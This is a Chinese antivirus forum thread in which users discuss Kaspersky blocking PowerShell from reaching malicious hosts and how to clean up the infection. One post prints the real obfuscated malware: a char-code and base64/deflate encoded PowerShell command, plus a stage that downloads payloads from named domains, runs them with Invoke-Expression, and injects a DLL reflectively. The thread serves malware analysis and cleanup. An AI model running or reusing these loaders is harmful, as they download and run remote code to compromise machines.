卡巴斯基网页反病毒疯狂拦截powershell访问恶意地址

herofrederick

http[:]//win.yearidper.com/per.txt
$PEBytes = " -joiN [cHAr[]]( 67,58,92 ,87 , 105 , 110 ,100 , 111 , 119,115 ,92 , 83 ,121 ,115 , 87, 79,87 ,54,52 , 92 ,87 , 105 , 110,100, 111 ,119 , 115, 80, 111 , 119, 101 ,114,83 ,104,101 ,108 , 108,92,118 , 49,46, 48 ,92, 112,111 , 119,101 ,114 , 115,104 , 101 ,108,108 , 46, 101 ,120 ,101, 32 ,32, 32, 45 , 78 , 111 , 110 ,73 ,110,32, 45, 78,111, 80 ,114,111 , 102 , 105,32 ,32 ,32,32 , 34, 32,40, 32 ,110, 101, 87 , 45, 79 ,66, 106, 69 ,67, 84 ,32 ,32 , 73 , 79, 46 , 115,84 ,82 , 69,97 , 77, 114 ,69, 97, 100 ,69, 114 , 40, 40 , 32,110, 101,87, 45 , 79,66 , 106, 69 , 67 ,84 ,32 , 73 , 79 , 46, 67, 111 ,109 , 80 , 82 ,69 ,83 , 115 ,105 ,111 ,78,46 , 100 ,101 , 102, 108, 97,84 , 101 ,83 , 116,114, 69,97,109, 40,91 ,83,121 , 83 ,116,101,109,46, 105 ,111 , 46 ,109, 69, 109 ,111 ,82, 121,83 , 84,82 , 101,65, 109, 93,91 , 83,121 ,115 , 84 ,69,77,46 ,67, 111, 78 ,118 ,101, 114 ,84 ,93 ,58,58 , 102 , 114 ,79,77, 98,97, 83, 69 ,54, 52 ,83,84 ,114, 105 , 110,103, 40, 39, 116 , 90 , 65 , 120 ,84, 52 ,78 , 81 , 70 ,73, 86,51, 69, 47 , 56 , 68, 97 , 82,104 , 103 , 52 ,76,69 ,89 ,66, 120 , 75, 72 , 70,113, 107 , 104 , 77 , 98 ,85 , 112, 74, 103 ,54 ,109, 81 ,52,72,84 , 108 ,118, 90 , 120, 76,51 , 110,118, 66 ,116 ,112,47, 76, 50 ,105,112 ,74 ,105,52,117,98 , 110 , 99,52,79,101 ,102 ,55 , 114 ,106,118 ,98 , 87 ,78 , 122 ,102 ,122, 99 , 52 , 67 , 54 ,122 ,119 , 52, 110 ,114,100, 65 , 70 ,55 , 122,107, 66 ,120 , 84, 105 , 76,67 , 68 , 113 ,68,88, 109, 115, 75,53 ,68,52 ,54 , 112,69, 55 ,48 ,114 , 119 , 112,77,122 , 69, 86, 55,98 ,122, 74 , 88 , 113 ,83, 74, 119, 114,65 , 111 ,83 , 82, 86,99 ,103 , 51 ,74 ,117 , 77, 86 ,120 , 104 ,119 , 120,50 , 77 ,51,85 , 78 , 114 , 100 , 87,104,50, 69, 57 ,43 , 47, 118 ,88 , 71,88 , 121, 84, 106 ,120 ,110,112, 50, 116, 111,70 ,97 ,118, 79, 73 ,108, 75 , 113 ,79,67, 121 , 98,49, 116,72 , 48, 84, 83,76 ,48 ,49 , 81 ,57, 81 , 83,55,57, 89, 121 , 53 ,109 , 97 ,109,71 ,107 , 84, 56 ,119,78, 49 ,49 ,43 , 52 ,108 ,52,106, 55 , 65,51 ,53 ,89,83 , 97 , 110, 108, 73,52 , 76,107 ,49 ,66, 104, 89,87 ,122 ,69 , 53 ,52,50 ,53,80 , 56 , 65, 43 ,105 ,43 ,87 ,102 , 108 ,76 , 56 ,108 , 118,120,55,43, 121 , 88, 57, 70,88,50 ,79 , 113 , 101 , 113 , 71,113 , 120,84 ,70, 73,97 , 52, 65, 97 , 76, 89 , 80 ,122 ,101,57 ,89 , 51, 66,110, 69 ,50, 66,97, 102 , 97 , 56 , 43 ,103, 65 ,61,39 ,41, 32, 44, 32, 91,73, 111,46, 99, 79 , 77,112 , 114, 101 ,83 ,115, 105 , 79,78, 46, 99 ,111,109,80,82, 69 ,83, 115 , 105, 79,110 , 77,79 , 68 ,69,93, 58 ,58, 100 ,101,99 ,111 , 77 ,112,82, 101,83, 115, 32 , 41 ,41, 44,91 , 84,101,120 , 84, 46,101 , 110, 99 ,79,100,105 ,110 ,103, 93, 58, 58,97 ,83 ,99 ,73, 105, 41 ,41 ,46 ,114,69, 65 ,68 ,116 , 79 ,69 ,78,100,40 , 32, 41,32 , 124 ,32 , 46, 40,40,118, 97,82, 105 ,65 ,66 ,76 ,69 ,32 , 39, 42, 109 ,68,82 , 42, 39 ,41, 46 ,78 , 97, 77 ,69, 91, 51, 44 ,49,49 , 44 ,50 , 93, 45, 74,79,73 , 78,39 , 39, 41 ,34)|IEx"
Invoke-Expression $PEBytes

" -joiN [cHAr[]]( 67,58,92 ,87 , 105 , 110 ,100 , 111 , 119,115 ,92 , 83 ,121 ,115 , 87, 79,87 ,54,52 , 92 ,87 , 105 , 110,100, 111 ,119 , 115, 80, 111 , 119, 101 ,114,83 ,104,101 ,108 , 108,92,118 , 49,46, 48 ,92, 112,111 , 119,101 ,114 , 115,104 , 101 ,108,108 , 46, 101 ,120 ,101, 32 ,32, 32, 45 , 78 , 111 , 110 ,73 ,110,32, 45, 78,111, 80 ,114,111 , 102 , 105,32 ,32 ,32,32 , 34, 32,40, 32 ,110, 101, 87 , 45, 79 ,66, 106, 69 ,67, 84 ,32 ,32 , 73 , 79, 46 , 115,84 ,82 , 69,97 , 77, 114 ,69, 97, 100 ,69, 114 , 40, 40 , 32,110, 101,87, 45 , 79,66 , 106, 69 , 67 ,84 ,32 , 73 , 79 , 46, 67, 111 ,109 , 80 , 82 ,69 ,83 , 115 ,105 ,111 ,78,46 , 100 ,101 , 102, 108, 97,84 , 101 ,83 , 116,114, 69,97,109, 40,91 ,83,121 , 83 ,116,101,109,46, 105 ,111 , 46 ,109, 69, 109 ,111 ,82, 121,83 , 84,82 , 101,65, 109, 93,91 , 83,121 ,115 , 84 ,69,77,46 ,67, 111, 78 ,118 ,101, 114 ,84 ,93 ,58,58 , 102 , 114 ,79,77, 98,97, 83, 69 ,54, 52 ,83,84 ,114, 105 , 110,103, 40, 39, 116 , 90 , 65 , 120 ,84, 52 ,78 , 81 , 70 ,73, 86,51, 69, 47 , 56 , 68, 97 , 82,104 , 103 , 52 ,76,69 ,89 ,66, 120 , 75, 72 , 70,113, 107 , 104 , 77 , 98 ,85 , 112, 74, 103 ,54 ,109, 81 ,52,72,84 , 108 ,118, 90 , 120, 76,51 , 110,118, 66 ,116 ,112,47, 76, 50 ,105,112 ,74 ,105,52,117,98 , 110 , 99,52,79,101 ,102 ,55 , 114 ,106,118 ,98 , 87 ,78 , 122 ,102 ,122, 99 , 52 , 67 , 54 ,122 ,119 , 52, 110 ,114,100, 65 , 70 ,55 , 122,107, 66 ,120 , 84, 105 , 76,67 , 68 , 113 ,68,88, 109, 115, 75,53 ,68,52 ,54 , 112,69, 55 ,48 ,114 , 119 , 112,77,122 , 69, 86, 55,98 ,122, 74 , 88 , 113 ,83, 74, 119, 114,65 , 111 ,83 , 82, 86,99 ,103 , 51 ,74 ,117 , 77, 86 ,120 , 104 ,119 , 120,50 , 77 ,51,85 , 78 , 114 , 100 , 87,104,50, 69, 57 ,43 , 47, 118 ,88 , 71,88 , 121, 84, 106 ,120 ,110,112, 50, 116, 111,70 ,97 ,118, 79, 73 ,108, 75 , 113 ,79,67, 121 , 98,49, 116,72 , 48, 84, 83,76 ,48 ,49 , 81 ,57, 81 , 83,55,57, 89, 121 , 53 ,109 , 97 ,109,71 ,107 , 84, 56 ,119,78, 49 ,49 ,43 , 52 ,108 ,52,106, 55 , 65,51 ,53 ,89,83 , 97 , 110, 108, 73,52 , 76,107 ,49 ,66, 104, 89,87 ,122 ,69 , 53 ,52,50 ,53,80 , 56 , 65, 43 ,105 ,43 ,87 ,102 , 108 ,76 , 56 ,108 , 118,120,55,43, 121 , 88, 57, 70,88,50 ,79 , 113 , 101 , 113 , 71,113 , 120,84 ,70, 73,97 , 52, 65, 97 , 76, 89 , 80 ,122 ,101,57 ,89 , 51, 66,110, 69 ,50, 66,97, 102 , 97 , 56 , 43 ,103, 65 ,61,39 ,41, 32, 44, 32, 91,73, 111,46, 99, 79 , 77,112 , 114, 101 ,83 ,115, 105 , 79,78, 46, 99 ,111,109,80,82, 69 ,83, 115 , 105, 79,110 , 77,79 , 68 ,69,93, 58 ,58, 100 ,101,99 ,111 , 77 ,112,82, 101,83, 115, 32 , 41 ,41, 44,91 , 84,101,120 , 84, 46,101 , 110, 99 ,79,100,105 ,110 ,103, 93, 58, 58,97 ,83 ,99 ,73, 105, 41 ,41 ,46 ,114,69, 65 ,68 ,116 , 79 ,69 ,78,100,40 , 32, 41,32 , 124 ,32 , 46, 40,40,118, 97,82, 105 ,65 ,66 ,76 ,69 ,32 , 39, 42, 109 ,68,82 , 42, 39 ,41, 46 ,78 , 97, 77 ,69, 91, 51, 44 ,49,49 , 44 ,50 , 93, 45, 74,79,73 , 78,39 , 39, 41 ,34)|IEx"

------------------------

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe   -NonIn -NoProfi    " ( neW-OBjECT  IO.sTREaMrEadEr(( neW-OBjECT IO.ComPRESsioN.deflaTeStrEam([SyStem.io.mEmoRySTReAm][SysTEM.CoNverT]::frOMbaSE64STring('tZAxT4NQFIV3E/8DaRhg4LEYBxKHFqkhMbUpJg6mQ4HTlvZxL3nvBtp/L2ipJi4ubnc4Oef7rjvbWNzfzc4C6zw4nrdAF7zkBxTiLCDqDXmsK5D46pE70rwpMzEV7bzJXqSJwrAoSRVcg3JuMVxhwx2M3UNrdWh2E9+/vXGXyTjxnp2toFavOIlKqOCyb1tH0TSL01Q9QS79Yy5mamGkT8wN11+4l4j7A35YSanlI4Lk1BhYWzE5425P8A+i+WflL8lvx7+yX9FX2OqeqGqxTFIa4AaLYPze9Y3BnE2Bafa8+gA=') , [Io.cOMpreSsiON.comPRESsiOnMODE]::decoMpReSs )),[TexT.encOding]::aScIi)).rEADtOENd( ) | .((vaRiABLE '*mDR*').NaME[3,11,2]-JOIN'')"

------------------------

(neW-OBjECT  IO.sTREaMrEadEr(
                (neW-OBjECT IO.ComPRESsioN.deflaTeStrEam([SyStem.io.mEmoRySTReAm][SysTEM.CoNverT]::frOMbaSE64STring('tZAxT4NQFIV3E/8DaRhg4LEYBxKHFqkhMbUpJg6mQ4HTlvZxL3nvBtp/L2ipJi4ubnc4Oef7rjvbWNzfzc4C6zw4nrdAF7zkBxTiLCDqDXmsK5D46pE70rwpMzEV7bzJXqSJwrAoSRVcg3JuMVxhwx2M3UNrdWh2E9+/vXGXyTjxnp2toFavOIlKqOCyb1tH0TSL01Q9QS79Yy5mamGkT8wN11+4l4j7A35YSanlI4Lk1BhYWzE5425P8A+i+WflL8lvx7+yX9FX2OqeqGqxTFIa4AaLYPze9Y3BnE2Bafa8+gA='), [Io.cOMpreSsiON.comPRESsiOnMODE]::decoMpReSs)),
                [TexT.encOding]::aScIi)
).rEADtOENd()
|
.((vaRiABLE '*mDR*').NaME[3,11,2]-JOIN'')

------------------------
$Base64Bytes = ((New-Object Net.WebClient).DownloadString("http[:]//cdn.comenbove.com/powershell.jpg"))
$PEBytes = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($Base64Bytes))
Invoke-Expression $PEBytes
$Base64Bytes = ((New-Object Net.WebClient).DownloadString("http[:]//cdn.comenbove.com/base64.jpg"))
$PEBytes= [System.Convert]::FromBase64String($Base64Bytes)
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR

powershell.jpg
//Invoke-ReflectivePEInjection

base64.jpg
base64 pe dll file
//结论，粗略估计未分析，下载者会下载多种工具对内网进行入侵，同时创建了多个任务计划
处置建议自行处理

无敌小小虫

网页反病毒报的怀疑是论坛中某位用户签名有问题造成的。我也是刚刚打开卡饭论坛病毒区某个帖子时，卡巴疯狂弹窗；关闭了以后就不弹了。补充：你的AMSI保护报的应该是其他问题引起的。

Anqring

无敌小小虫 发表于 2022-4-19 20:03
网页反病毒报的怀疑是论坛中某位用户签名有问题造成的。我也是刚刚打开卡饭论坛病毒区某个帖子时，卡巴疯 ...

话说这种行为是不是属于xss攻击啊……在签名档中嵌入代码之类的

暗影皇帝

herofrederick 发表于 2022-4-19 15:37
http[:]//win.yearidper.com/per.txt
$PEBytes = " -joiN [cHAr[]]( 67,58,92 ,87 , 105 , 110 ,100 , 111 ...

拦不住啊，除非把powershell禁止自启，这玩意360可以检测到调用并拦截，不拦截的话卡吧弹窗能弹个不停

暗影皇帝

无敌小小虫 发表于 2022-4-19 20:03
网页反病毒报的怀疑是论坛中某位用户签名有问题造成的。我也是刚刚打开卡饭论坛病毒区某个帖子时，卡巴疯 ...

但是他这个开机就调用powershell，只有拦截了powershell才不会触发卡巴拦截

暗影皇帝

@wwwab 要感谢老铁远程给处理了一下，卡巴入库后对相应文件进行处理，但是恶意脚本啥的还是能不知不觉被下载

herofrederick

暗影皇帝 发表于 2022-4-20 10:35
@wwwab 要感谢老铁远程给处理了一下，卡巴入库后对相应文件进行处理，但是恶意脚本啥的还是能不知不觉被下 ...

上面发了分析，照着处理就行，把任务计划删了就行，再用卡巴扫一下全盘把相应的残留文件清除

暗影皇帝

herofrederick 发表于 2022-4-20 12:33
上面发了分析，照着处理就行，把任务计划删了就行，再用卡巴扫一下全盘把相应的残留文件清除

问题是电脑里除了程序任务没发现有别的啊

少年不再年少

楼主怎么解决的？

暗影皇帝

少年不再年少 发表于 2022-5-8 21:25
楼主怎么解决的？

安全软件现在都能查杀了吧，主要是确定谁调用的powershell，我电脑win11不稳定，最后我重装win10了